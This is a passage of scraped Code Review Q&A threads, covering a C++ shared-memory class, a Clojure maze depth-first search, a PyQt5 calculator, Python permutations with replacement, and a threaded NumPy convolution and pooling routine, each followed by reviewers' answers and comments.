Channel(std::string name, size_t size = sizeof(char)*50);
~Channel();
void write(const char * msg);
std::string read();
private:
int memFd;
int res;
u_char * buffer;
};
}
#endif
</code></pre>
<p>mylib_com.cpp</p>
<pre class="lang-cpp prettyprint-override"><code>#include "mylib_com.hpp"
#include <errno.h>
#include <system_error>
Myns::Channel::Channel(std::string name, size_t size){
memFd = shm_open(name.c_str(), O_CREAT | O_RDWR, S_IRWXU);
if (memFd == -1)
{
perror("Can't open file");
throw std::system_error(errno, std::generic_category(), "Couldn't open shared memory");
}
res = ftruncate(memFd, size);
if (res == -1)
{
perror("Can't truncate file");
close(memFd);
throw std::system_error(errno, std::generic_category(), "Couldn't truncate shared memory");
}
buffer = (u_char *) mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, memFd, 0);
if (buffer == NULL)
{
perror("Can't mmap");
close(memFd);
throw std::system_error(errno, std::generic_category(), "Couldn't mmap shared memory");
}
}
Myns::Channel::~Channel(){
close(memFd);
}
void Myns::Channel::write(const char * msg){
strcpy((char*)buffer,msg);
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:39:41.893",
"Id": "463997",
"Score": "0",
"body": "Do you have a good reason not to use `boost::interprocess`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T11:35:42.830",
"Id": "464003",
"Score": "0",
"body": "Did you forget the `read()` memberfunction?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T14:17:15.190",
"Id": "464014",
"Score": "0",
"body": "Well, I didn`t know I could use boost. Actually never used... For my use i just didn`t need read() right now."
}
] |
[
{
"body": "<ul>\n<li><code>__MYLIB_COM_HPP</code> is a reserved identifier, you're not allowed to use these in your code.</li>\n<li>Instead of including both <code><string></code> and <code><string.h></code>, you could also use <code>std::strcpy()</code>. Also, you don't need that in the header, move it to the implementation file.</li>\n<li><code>sizeof (char)</code> is by definition one, because <code>sizeof</code> gives you the size in multiples of that of a <code>char</code>. That part is basically redundant.</li>\n<li>Outputting an error with <code>perror()</code> and throwing it as an exception is kind-of redundant as well. If you don't log an error when you catch it, you're a fool or have reason to ignore it, but you can't make that decision at the place where the error occurs.</li>\n<li>You are using C-style casts. Don't, use the C++ casts (<code>static_cast</code> in the cases here) instead.</li>\n<li>I'm not sure what <code>u_char</code> is, that may not be portable.</li>\n<li>Avoid casting altogether: <code>mmap()</code> returns <code>void*</code>, which you cast to <code>u_char*</code> and store in buffer. In the only case where you use <code>buffer</code>, you cast it to <code>char*</code> first. Don't, just keep it a <code>void*</code> and only cast when you need.</li>\n<li>You have no error checking when writing. You just take the <code>char const*</code> and feed it to <code>strcpy()</code>, without any bounds check.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T11:34:49.737",
"Id": "236706",
"ParentId": "236684",
"Score": "3"
}
},
{
"body": "<p>Just a couple of additional points...</p>\n\n<p>I've not used c++17, but when performing tests against constants, consider putting the constants on the left, rather than the right. This prevents typos from having unexpected consequences. <code>if (res = -1)</code> changes the value of <code>res</code>, whereas <code>if(-1 = res)</code> doesn't compile.</p>\n\n<p>You're keeping variables in your class that seem like they aren't needed. If they're only needed for the constructor, then use local variables. Maybe you have other plans for it, but <code>res</code> looks particularly suspect, since it's always going to be <code>0</code> if the class has been constructed and in the code you've supplied it's never read again.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T21:56:41.910",
"Id": "236746",
"ParentId": "236684",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236706",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T03:36:37.113",
"Id": "236684",
"Score": "2",
"Tags": [
"c++",
"error-handling",
"linux",
"c++17",
"library"
],
"Title": "Shared memory class"
}
|
236684
|
<p>I am an experienced self-taught professional Python programmer working my way through the book <em>Classic Computer Science Problems in Python</em> to try to catch myself up on some of the things I missed by not going to school for this. I am also currently trying to learn Clojure, and I thought why not kill two birds with one stone by using this book to practice writing Clojure as well. So, I'm using Python as a reference in order to port solutions to Clojure. I have never professionally written code with a lisp or functional programming language. I am new to the Clojure and JVM ecosystems. For all these reasons I feel I would greatly benefit from submitting my early Clojure code up for peer review from more experienced Clojure developers.</p>
<p>What I'm primarily looking to get out of this review:</p>
<ul>
<li>Call me out where I'm doing something Pythonic but not Lispy/Functional.</li>
<li>Point me in the direction of useful Clojure core functions that I may just not know about.</li>
<li>Guide me to use common Clojure developer conventions. How should I write doc comments? How should I name my variables?</li>
<li>Tell me when something I've done just looks weird to an experienced Clojure developer.</li>
<li>I'd really be interested in a lazy solution to my dfs algorithm that could produce all the possible solutions rather than just the first solution.</li>
</ul>
<p>Okay here's the code.</p>
<p><a href="https://gitlab.com/willvaughn/classic-cs/-/blob/8a530f3eaa4464124e49289e5b8596917c8d93aa/cs-clj/src/cs_clj/ch2/generic_search.clj" rel="noreferrer">generic_search.clj</a></p>
<pre class="lang-clj prettyprint-override"><code>(ns cs-clj.ch2.generic-search)
(defn dfs
[start is-goal? get-successors]
(loop [frontier (list [start, []])
explored #{start}]
(let [[cur-loc cur-path] (peek frontier)
next-path (conj cur-path cur-loc)]
(cond
(empty? frontier) nil
(is-goal? cur-loc) next-path
:else (let [successors (remove explored (get-successors cur-loc))
new-frontier (map (fn [loc] [loc next-path]) successors)
next-frontier (apply conj (pop frontier) new-frontier)
next-explored (apply conj explored successors)]
(recur next-frontier next-explored))))))
</code></pre>
<p><a href="https://gitlab.com/willvaughn/classic-cs/-/blob/8a530f3eaa4464124e49289e5b8596917c8d93aa/cs-clj/src/cs_clj/ch2/maze.clj" rel="noreferrer">maze.clj</a></p>
<pre class="lang-clj prettyprint-override"><code>(ns cs-clj.ch2.maze
(:require [clojure.string :as string]
[cs-clj.ch2.generic-search :refer [dfs]]))
;; TODO: Seems like a fine way to represent an Enum, but...is there a better way?
(def cells {:empty " "
:blocked "X"
:start "S"
:goal "G"
:path "*"})
(defn random-cell-value
[sparsity]
(if (< (rand) sparsity)
(:blocked cells)
(:empty cells)))
(defn create-2d-grid
[x y val-fn]
;; TODO: Is this idiomatic clojure? I'm trying to express a way to take either a
;; function or a value, and if it's a value wrap it in a function? Am I missing
;; the use of `identity` here in some way? Or perhaps an opportunity to use spec?
;; If spec, how?
(let [val-fn (if (fn? val-fn) val-fn (fn [] val-fn))]
;; TODO: Wanted to represent grid as vectors, hence the `mapv`. With my use
;; of `assoc-in` to set values in the grid later I'm not certain it would have
;; worked with normal `map` returning sequences.
(mapv (fn [_]
(mapv (fn [_] (val-fn)) (range x)))
(range y))))
(defn mark-grid-with
[grid coord-vals]
(reduce (fn [res-grid [coord val]]
(assoc-in res-grid coord val))
grid
coord-vals))
;; TODO: use spec to validate that the start/goal are inbounds of rows and cols
;; TODO: think about whether maze "objects" could be a record.
;; TODO: Is there a good Protocol opportunity here?
;; mark-path, is-in-bounds?, is-blocked?, display-maze, get-successors, and mark-path
(defn create-maze
"Creates randomly generated maze map."
[& {:keys [rows cols sparsity start provided-goal]
:or {rows 10
cols 10
sparsity 0.2
start {:row 0 :col 0}
provided-goal nil}}]
(let [goal (if (nil? provided-goal)
{:row (dec rows) :col (dec cols)}
provided-goal)
val-fn (partial random-cell-value sparsity)
rand-grid (create-2d-grid rows cols val-fn)
grid (mark-grid-with rand-grid [[[(:row start) (:col start)] (:start cells)]
[[(:row goal) (:col goal)] (:goal cells)]])]
{:rows rows
:start start
:goal goal
:cols cols
:grid grid}))
(defn is-in-bounds?
"Checks if a location is inside the bounds of the maze."
[maze loc]
(let [{:keys [rows cols]} maze
{:keys [row col]} loc]
(and (<= 0 row)
(< row rows)
(<= 0 col)
(< col cols))))
;; TODO Is it okay to use `backticks` in comments and doc strings to refer to
;; code vars and such? Is there a clojure docstrings and comments standard I should
;; know about? Like what if I wanted to autogen some API docs to a static site? Is
;; there a standard or at least popular tool like python's sphinx and restructured text?
(defn is-blocked?
"Is the location at `loc` occupied in the `maze` by a wall character?"
[maze loc]
(let [grid (:grid maze)
{:keys [row col]} loc
cell-value (get-in grid [row col])]
(= cell-value (:blocked cells))))
;; TODO: How do I get a doc comment on this function?
(def is-open? (complement is-blocked?))
(defn display-maze
"Formats the maze grid to a legible string value."
[{:keys [grid]}]
(->> grid
;; TODO: Use (map #(string/join "" %)) here or is that too terse?
;; I feel like maybe the var name "row" helps clarity slightly.
(map (fn [row] (string/join "" row)))
(string/join "\n")))
(defn get-successors
"Gets sequence of valid moves from the given location in the maze."
[maze loc]
(let [{:keys [rows cols]} maze
{:keys [row col]} loc
candidates [{:row (inc row) :col col}
{:row (dec row) :col col}
{:row row :col (inc col)}
{:row row :col (dec col)}]]
(->> candidates
(filter (partial is-in-bounds? maze))
(filter (partial is-open? maze)))))
(defn mark-path
"Mark the path through the maze with * characters. Returns altered maze."
[maze path]
;; TODO: Is this call to subvec an idiomatic clojure way to slice a vector?
;; I'm trying to do here what I would do in python as `path_locs = path[1:-1]`
(let [path-locs (subvec path 1 (dec (count path)))
cell-val (:path cells)
coord-vals (map (fn [{x :row y :col}]
[[x y] cell-val])
path-locs)]
(assoc maze
:grid (mark-grid-with (:grid maze) coord-vals))))
(defn -main []
(let [maze (create-maze)
is-goal? (partial = (:goal maze))
get-suc (partial get-successors maze)
path (dfs (:start maze) is-goal? get-suc)]
(if (nil? path)
(do
(println (display-maze maze))
(println "Could not solve."))
(println (display-maze (mark-path maze path))))))
</code></pre>
<p>Produces output like this when run:</p>
<pre><code>S******X
X ****
X *
X*********
** X X
* XXX XX
****X X
*X X
*******
X G
</code></pre>
<p>Also, here is the python <a href="https://gitlab.com/willvaughn/classic-cs/-/blob/8a530f3eaa4464124e49289e5b8596917c8d93aa/cs-py/ch2/maze.py" rel="noreferrer">maze.py</a></p>
|
[] |
[
{
"body": "<p>Initial comments for only the <code>dfs</code> function:</p>\n\n<h3>Variable names</h3>\n\n<ul>\n<li><code>start</code> makes sense for the initial point.</li>\n<li><code>is-goal?</code> <code>is-</code> is not necessary, the question marks already indicates that it's a predicate function, so name it <code>goal?</code>. </li>\n<li><code>get-successors</code> is a pure function that will return the same answer given the same point, pure functions don't need a verb. Verbs are to indicate side effects. <code>successors</code> is fine. </li>\n</ul>\n\n<p>For later two points I followed Stuart Sierra's <a href=\"https://stuartsierra.com/2016/01/09/how-to-name-clojure-functions\" rel=\"nofollow noreferrer\">How to Name Clojure Functions</a>.</p>\n\n<p>I would skip the intermediate variables names like <code>new-frontier</code> and <code>next-frontier</code> since I think they are more confusing than just chaining the function calls in a thread-last, it is implied in a <code>recur</code> that they will be the next. And in same fashion I think the <code>cur-</code> prefix is redundant since it is clear they belong to the current round in the recursion.</p>\n\n<h3>Data representation</h3>\n\n<p>I noticed points are represented as <code>{:row x, :col y}</code>, I would see if you can use <code>[x y]</code> and refactor to a <code>map</code> or even <a href=\"https://github.com/clojure/data.priority-map\" rel=\"nofollow noreferrer\"><code>priority-map</code></a> with points as keys and values the paths (you could then sort by for example shorter length of path being higher priority).</p>\n\n<p>Also (bit outside <code>dfs</code>) I would try to skip the <code>cells</code> map and only use it for printing because the conversions (e.g., <code>cell-val (:path cells)</code>) clutter up the code. I would use the <code>:empty</code>, <code>:blocked</code> and so on directly.</p>\n\n<p>The use of the set as a function to find the new successors in <code>(remove explored (get-successors cur-loc))</code> is idiomatic.</p>\n\n<h3>nil-punning instead of <code>empty?</code> check</h3>\n\n<p><a href=\"https://lispcast.com/nil-punning/\" rel=\"nofollow noreferrer\"><code>nil-punning</code></a> is the use of <code>(when (seq coll) ..)</code> instead of <code>(if (empty? coll) nil ..)</code>. When calling <code>seq</code> on an empty coll it will return <code>nil</code>, and <code>nil</code> is falsy, and the falsy clause of <code>when</code> is <code>nil</code>. So that leads to the same behaviour as returning <code>nil</code> when the coll is empty. </p>\n\n<p>Destructuring an empty value like you do in <code>[cur-loc cur-path] (peek frontier)</code> will also lead to two nils for <code>cur-loc</code> and <code>cur-path</code> and an <code>nil</code> for the overall vector, so you could achieve <code>nil-punning</code> using <code>(when-let [[cur-loc cur-path] (peek frontier)] ..)</code>, now if the frontier is empty you will return the false clause and thus <code>nil</code>.</p>\n\n<h3>New code with the above points addressed</h3>\n\n<pre><code>(defn dfs\n [start goal? successors]\n (loop [frontier (list [start, []])\n explored #{start}]\n (when-let [[loc path] (peek frontier)]\n (let [next-path (conj path loc)]\n (if (goal? loc)\n next-path\n (recur (->> (successors loc)\n (remove explored)\n (map (fn [l] [l next-path]))\n (apply conj (pop frontier)))\n (apply conj explored (successors loc))))))))\n</code></pre>\n\n<h3>Final remarks</h3>\n\n<p>Overall, if I spend more time on this I would start looking at the representation of the maze and how to walk over it with <code>bfs</code>. I'd try to find a shorter representation of the point and also the maze, starting with trying to encode a point as <code>[x y]</code>. Then the associative destructuring later on can be changed to sequential (e.g., <code>(let [[x y]] loc] ...)</code> instead of <code>(let [{:keys [row col]} loc] ...)</code>) and I think the code will become more concise and readable.</p>\n\n<p>Hope this helps!</p>\n\n<p>PS For the nested <code>mapv</code> I would try to use a <a href=\"https://clojuredocs.org/clojure.core/for\" rel=\"nofollow noreferrer\"><code>for</code></a> comprehension. Note:</p>\n\n<pre><code>(mapcat (fn [x]\n (mapv (fn [y] [x y]) (range 4 6)))\n (range 3))\n;; => ([0 4] [0 5] [1 4] [1 5] [2 4] [2 5])\n\n(for [x (range 3)\n y (range 4 6)]\n [x y])\n;; => ([0 4] [0 5] [1 4] [1 5] [2 4] [2 5])\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T01:06:39.807",
"Id": "464206",
"Score": "0",
"body": "Thank you so much for your thoughtful response! This is incredibly helpful to me and I greatly appreciate you taking the time to look through this. Soon I'm going to have a go at incorporating your suggestions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-12T19:46:08.860",
"Id": "464972",
"Score": "0",
"body": "Thanks again! I got around to applying yours and others feedback. Here is a diff of them. https://gitlab.com/willvaughn/classic-cs/-/merge_requests/1"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-05-26T15:16:12.583",
"Id": "476814",
"Score": "1",
"body": "A couple of tweaks :\n1. You evaluate `(successors loc)` twice. Extract it to a `let` binding. \n2. Replace the two instances of `(reduce conj ...)` with `(into ...)`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T00:11:20.440",
"Id": "236753",
"ParentId": "236685",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236753",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T04:51:42.693",
"Id": "236685",
"Score": "6",
"Tags": [
"python",
"clojure",
"depth-first-search"
],
"Title": "Clojure depth first search maze problem from Classic CS Problems in Python Book"
}
|
236685
|
<p>Recently I started to learn Python and PyQT5.</p>
<p>So here is my code for a calculator. Personally I don't like how the <code>doMath()</code> function is looking but I don't know how to make it more readable and pythonic.</p>
<pre><code>import operator
import sys
from functools import partial
from PyQt5.QtWidgets import (QApplication, QShortcut, QLabel, QPushButton,
QGridLayout, QWidget, QMainWindow, QLineEdit,
QVBoxLayout, QLineEdit, QShortcut, QAction)
from PyQt5.QtGui import QKeySequence, QDoubleValidator
from PyQt5.QtCore import QLocale, Qt
class MyWindow(QMainWindow):
def __init__(self, parent=None):
super(MyWindow, self).__init__(parent)
self.setGeometry(0, 0, 200, 300)
self.setWindowTitle('PyQt5 calculator')
self.buttonsText = [
'<-', '=', '+',
'/', '*', '-',
'7', '8', '9',
'4', '5', '6',
'1', '2', '3',
'c', '0', '.'
]
self.col_num = 3
self.operators = {'+': operator.add, '-': operator.sub,
'/': operator.truediv, '*': operator.mul}
self.operand = ''
self.operator = ''
self.initUI()
self.setShortcuts()
def initUI(self):
# initialize widgets and layouts
cenWidget = QWidget(self)
vertLayout = QVBoxLayout(cenWidget)
gridWidget = QWidget()
gridLayout = QGridLayout(gridWidget)
gridWidget.setLayout(gridLayout)
self.hintField = QLabel(parent=cenWidget)
# configure text filed and validator
self.textField = QLineEdit()
f = self.textField.font()
f.setPointSize(18)
self.textField.setFont(f)
validator = QDoubleValidator()
validator.setLocale(QLocale('English'))
self.textField.setValidator(validator)
# add widgets to top level layout
vertLayout.addWidget(self.hintField)
vertLayout.addWidget(self.textField)
vertLayout.addWidget(gridWidget)
# add buttons to grid layout
self.buttonInstances = [QPushButton(item) for item in self.buttonsText]
for i, button in enumerate(self.buttonInstances):
button.clicked.connect(partial(self.doMath, button.text()))
gridLayout.addWidget(button, i//self.col_num, i % self.col_num)
self.setCentralWidget(cenWidget)
def doMath(self, buttonValue):
currentValue = self.textField.text()
convertedValue = self.convertValue(currentValue)
if buttonValue == 'c':
self.clearFields()
elif buttonValue == '<-':
self.textField.setText(currentValue[:-1])
elif buttonValue == '.':
if '.' not in currentValue:
self.textField.setText(currentValue+buttonValue)
elif (not self.operand and buttonValue in self.operators
and convertedValue != None):
self.operator = buttonValue
self.operand = convertedValue
self.textField.setText('')
elif (buttonValue == '=' or buttonValue in self.operators
and self.operator and convertedValue):
answer = self.operators[self.operator](
self.operand, convertedValue)
self.clearFields()
if buttonValue == '=':
self.textField.setText(f'{answer}')
else:
self.operand = answer
self.operator = buttonValue
elif self.convertValue(buttonValue) != None:
self.textField.setText(currentValue+buttonValue)
self.hintField.setText(f'<h1><font color=#a0a0a0>{self.operand}'
f'{self.operator}</font></h1>')
def setShortcuts(self):
eqShort= QShortcut(QKeySequence('Enter'), self)
eqShort.activated.connect(partial(self.doMath, '='))
for sign in self.buttonsText[1:5]:
short= QShortcut(QKeySequence(sign), self)
short.activated.connect(partial(self.doMath, sign))
def convertValue(self, value):
try:
return int(value)
except ValueError:
try:
return float(value)
except:
return None
def clearFields(self):
self.operand = ''
self.operator = ''
self.textField.setText('')
app = QApplication(sys.argv)
window = MyWindow()
window.show()
sys.exit(app.exec_())
</code></pre>
|
[] |
[
{
"body": "<p>Make use of this small project to separate core logic from UI. You can have a class <code>Calculator</code> which retains current state, and your UI is just a way to display this class.</p>\n\n<p>To do this, just think your design as if you were to replace UI by CLI. You have to be able to unplug your UI, plug CLI, and your calculator has to work the same. This is also, I think, an easier way to write unit tests or run batch functional tests.</p>\n\n<p>It mainly concerns <code>doMath</code> and <code>convertValue</code>, which has nothing to do in UI code. Actually <code>convertValue</code> might disappear even in a <code>Calculator</code> class, because you will have the real value stored.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:03:41.593",
"Id": "236689",
"ParentId": "236687",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:16:00.583",
"Id": "236687",
"Score": "4",
"Tags": [
"python",
"calculator",
"pyqt"
],
"Title": "Calculator with PyQT5"
}
|
236687
|
<p>Many a times, I've had the need to use a permutations with replacement function.</p>
<p>So, I've written a function to do just that:</p>
<pre class="lang-py prettyprint-override"><code>from sys import setrecursionlimit
setrecursionlimit(10 ** 9)
def permutations_with_replacement(n: int, m: int, cur=None):
if cur is None:
cur = []
if n == 0:
yield cur
return
for i in range(1, m + 1):
yield from permutations_with_replacement(n - 1, m, cur + [i])
if __name__ == '__main__':
n = int(input("Please enter 'N': "))
m = int(input("Please enter 'M': "))
for i in permutations_with_replacement(n, m):
print(*i)
</code></pre>
<p>There's a better way to do this if we used <code>itertools.product</code>, but there's no fun in that!</p>
<pre class="lang-py prettyprint-override"><code>from itertools import product
def permutations_with_replacement(n, m):
for i in product(list(range(1, m + 1)), repeat=n):
yield i
if __name__ == '__main__':
n = int(input("Please enter 'N': "))
m = int(input("Please enter 'M': "))
for i in permutations_with_replacement(n, m):
print(*i)
</code></pre>
<p>I don't like the way I've implemented <code>cur</code> in my code. Is there any better way to do that?</p>
|
[] |
[
{
"body": "<p>First of all, this is a very nicely written code.</p>\n\n<p>Before writing about the <code>cur</code> implementation, a few notes:</p>\n\n<ul>\n<li>I do not think <code>n</code> and <code>m</code> should be in main. It creates shadowing in the function.</li>\n<li>I added type annotation to the return value of the function. Since it's a generator it should be: <code>Iterator[List[int]]</code>.</li>\n</ul>\n\n<p>So you said you do not like the way <code>cur</code> is implemented in your code, I thought of a way to take it out of the function declaration.<br>\nI created a sub function that is recursive taken out the <code>cur</code> variable. This is how it turned out:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def permutations_with_replacement(n: int, m: int) -> Iterator[List[int]]:\n cur = []\n\n def permutations_with_replacement_rec(n_rec: int, m_rec: int) -> Iterator[List[int]]:\n nonlocal cur\n\n if n_rec == 0:\n yield cur\n return\n\n for i in range(1, m_rec + 1):\n cur = cur + [i]\n yield from permutations_with_replacement_rec(n_rec - 1, m_rec)\n cur.pop()\n\n yield from permutations_with_replacement_rec(n, m)\n</code></pre>\n\n<p>Now notice that I needed to add a <code>pop</code> to the variable since now it keeps the elements after the call to the function.<br>\nAlso I needed to use the <code>nonlocal</code> term so the function will know the <code>cur</code> variable.</p>\n\n<p>The full code (with tests):</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>from itertools import product\nfrom typing import Iterator, List\n\nfrom sys import setrecursionlimit\nsetrecursionlimit(10 ** 9)\n\n\ndef permutations_with_replacement(n: int, m: int) -> Iterator[List[int]]:\n cur = []\n\n def permutations_with_replacement_rec(n_rec: int, m_rec: int) -> Iterator[List[int]]:\n nonlocal cur\n\n if n_rec == 0:\n yield cur\n return\n\n for i in range(1, m_rec + 1):\n cur = cur + [i]\n yield from permutations_with_replacement_rec(n_rec - 1, m_rec)\n cur.pop()\n\n yield from permutations_with_replacement_rec(n, m)\n\n\ndef test_permutations_with_replacement():\n n = 3\n m = 4\n assert set(product(list(range(1, m + 1)), repeat=n)) == set(tuple(i) for i in permutations_with_replacement(n, m))\n\n\ndef main():\n n = int(input(\"Please enter 'N': \"))\n m = int(input(\"Please enter 'M': \"))\n\n for i in permutations_with_replacement(n, m):\n print(*i)\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T16:25:00.490",
"Id": "236722",
"ParentId": "236693",
"Score": "2"
}
},
{
"body": "<p>I know its a bit late but I have had this idea to solve this problem iteratively. I wish to leave this here for someone who is searching for an iterative answer like me.</p>\n\n<p>It is difficult to explain in English (for me), but the idea is to start updating the current permutation from the end, one index at a time. Keep updating until the initial permutation is again encountered, in which case we stop updating any more by setting <code>hasNext=False</code>.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>from typing import Iterator, List\n\ndef permutations_with_replacement(n: int, m: int) -> Iterator[List[int]]:\n cur = [1]*n\n hasNext = True\n while hasNext:\n yield cur\n i = n-1\n while hasNext:\n cur[i] += 1\n if cur[i] > m:\n cur[i] = 1\n i -= 1\n if i < 0:\n hasNext = False\n else:\n break\n\nif __name__ == '__main__':\n n = int(input(\"Please enter 'N': \"))\n m = int(input(\"Please enter 'M': \"))\n\n for i in permutations_with_replacement(n, m):\n print(*i)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-05-13T12:31:47.460",
"Id": "242194",
"ParentId": "236693",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236722",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T08:33:55.503",
"Id": "236693",
"Score": "7",
"Tags": [
"python",
"algorithm",
"python-3.x",
"recursion",
"combinatorics"
],
"Title": "Permutations with replacement in Python"
}
|
236693
|
<p>This multi-threaded code takes an array of 3d images and applies the convolution function with padding, stride, pad values .. as parameters and same applies for creating pooling layers. I need suggestions on how to improve performance and maybe get rid of the for loops used(if that is possible).</p>
<p>Use this photo <code>tiger.jpeg</code> for producing the example in the code.</p>
<p><a href="https://i.stack.imgur.com/RRvZn.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RRvZn.jpg" alt="tiger.jpeg"></a> </p>
<p><strong>Code:</strong></p>
<pre><code>from concurrent.futures import ThreadPoolExecutor, as_completed
from time import perf_counter
import numpy as np
import cv2
def pad_image(image, pad_width, values, mode='img_arr'):
"""
Add a pad(border) of a given width and value to the image.
Args:
image: Image array or a single image.
pad_width: Width of the pad layer.
values: Value of the pad layer.
mode: A string representation of the input
'img_arr': Array of images.
'img': A single image.
Return:
numpy array of padded images or a padded image.
"""
if mode == 'img_arr':
return np.array(list(map(lambda x: cv2.copyMakeBorder(
x, pad_width, pad_width, pad_width, pad_width, cv2.BORDER_CONSTANT, value=values), image)))
if mode == 'img':
return cv2.copyMakeBorder(
image, pad_width, pad_width, pad_width, pad_width, cv2.BORDER_CONSTANT, value=values)
def calculate_size(image_shape, kernel_shape, pad_width, stride):
"""
Calculate size of the output after one pass of the convolution function.
Args:
image_shape: Input shape.
kernel_shape: Convolution filter shape.
pad_width: Width of the pad layer.
stride: The number of pixels a kernel moves.
Return:
height, width, channels.
"""
height, width, channels = image_shape
kernel_size = kernel_shape[1]
output_height = int((height - kernel_size + 2 * pad_width) / stride) + 1
output_width = int((width - kernel_size + 2 * pad_width) / stride) + 1
output_channels = kernel_shape[-1]
return output_height, output_width, output_channels
def partition_image(image, stride, pad_width, pad_values, kernel_size):
"""
Prepare image to apply the convolution function.
Args:
image: numpy array containing image data.
stride: The number of pixels a kernel moves.
pad_width: Width of the pad layer.
pad_values: Value of the pad layer.
kernel_size: Size of the convolution filter.
Return:
R, G, B partitioned numpy arrays.
"""
partitions = []
padded = pad_image(image, pad_width, pad_values, 'img')
height, width, channels = padded.shape
red = padded[..., 0]
green = padded[..., 1]
blue = padded[..., 2]
for item in red, green, blue:
item = [item[
h: h + kernel_size, w: w + kernel_size]
for h in range(0, height - kernel_size + 1, stride)
for w in range(0, width - kernel_size + 1, stride)]
partitions.append(np.array(item))
return partitions
def convolve_image(image, kernel, bias, pad_width, stride, pad_values):
"""
Apply convolution function to an image.
Args:
image: numpy image nd array.
kernel: Convolution filter.
bias: A scalar.
pad_width: Width of the pad layer.
stride: The number of pixels a kernel moves.
pad_values: Value of the pad layer.
Return:
Convolution output, cache.
"""
channel = 0
target_height, target_width, target_channels = calculate_size(
image.shape, kernel.shape, pad_width, stride)
output = np.zeros((target_height, target_width, target_channels))
red_part, green_part, blue_part = partition_image(
image, stride, pad_width, pad_values, kernel.shape[0])
red_kernel, green_kernel, blue_kernel = kernel[..., 0], kernel[..., 1], kernel[..., 2]
for img_col, kl_color in zip([red_part, green_part, blue_part], [red_kernel, green_kernel, blue_kernel]):
product = img_col * kl_color
addition = np.array(list(map(np.sum, product)))
addition += bias
addition = addition.reshape(target_height, target_width)
output[..., channel] = addition
channel += 1
cache = image, kernel, bias
return output, cache
def convolve_image_arr(img_arr, kernel, bias, pad_width, stride, pad_values, threads):
"""
Convolve an array of images.
Args:
img_arr: numpy array of images.
kernel: Convolution filter.
bias: A scalar.
pad_width: Width of the pad layer.
stride: The number of pixels a kernel moves.
pad_values: Value of the pad layer.
threads: Number of parallel threads.
Return:
Convolved image array, caches.
"""
z, caches, current_img, total_images = [], [], 0, img_arr.shape[0]
with ThreadPoolExecutor(max_workers=threads) as executor:
future_output = {executor.submit(
convolve_image, img, kernel, bias, pad_width, stride, pad_values):
img for img in img_arr}
for future_item in as_completed(future_output):
convolved_img, cache = future_item.result()
print(f'Convolved image {current_img} out of {total_images} ... done')
z.append(convolved_img)
caches.append(cache)
current_img += 1
return z, caches
def pool_image(image, window_size, stride, mode):
"""
Create a pooling layer to the image.
Args:
image: numpy image nd array.
window_size: Size of the sliding window/kernel.
stride: The number of pixels a kernel moves.
mode: Calculation mode
'max': Window will be maximized.
'avg': Window will be averaged.
Return:
Output layer, image.
"""
channel, result = 0, 0
target_height, target_width, target_channels = calculate_size(
image.shape, (window_size, window_size), 0, stride)
output = np.zeros((target_height, target_width, target_channels))
red_part, green_part, blue_part = partition_image(image, stride, 0, 0, window_size)
for img in red_part, green_part, blue_part:
if mode == 'max':
result = np.array(list(map(np.max, img)))
if mode == 'avg':
result = np.array(list(map(np.mean, img)))
result = result.reshape(target_height, target_width)
output[..., channel] = result
channel += 1
return output, image
def pool_image_arr(img_arr, window_size, stride, mode, threads):
"""
Create a pooling layer to a numpy array of images.
Args:
img_arr: numpy array of images.
window_size: Size of the sliding window/kernel.
stride: The number of pixels a kernel moves.
mode: Calculation mode
'max': Window will be maximized.
'avg': Window will be averaged.
threads: Number of parallel threads.
Return:
Pooling layer output, images.
"""
output, current_img, total_images = [], 1, img_arr.shape[0]
with ThreadPoolExecutor(max_workers=threads) as executor:
future_output = {executor.submit(pool_image, img, window_size, stride, mode): img
for img in img_arr}
for future_item in as_completed(future_output):
layered_img, img = future_item.result()
print(f'Layered image {current_img} out of {total_images} ... done')
output.append(layered_img)
current_img += 1
return np.array(output), img_arr
if __name__ == '__main__':
t1 = perf_counter()
tiger = cv2.imread('tiger.jpeg')
tigers = np.array([tiger for _ in range(50)])
kl = np.random.randn(3, 3, 3)
pa, st = 1, 1
b = np.random.randn()
p_values = 0
z, cc = convolve_image_arr(tigers, kl, b, pa, st, p_values, 10)
t2 = perf_counter()
print(f'Time: {t2 - t1} seconds.')
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T22:33:01.873",
"Id": "464385",
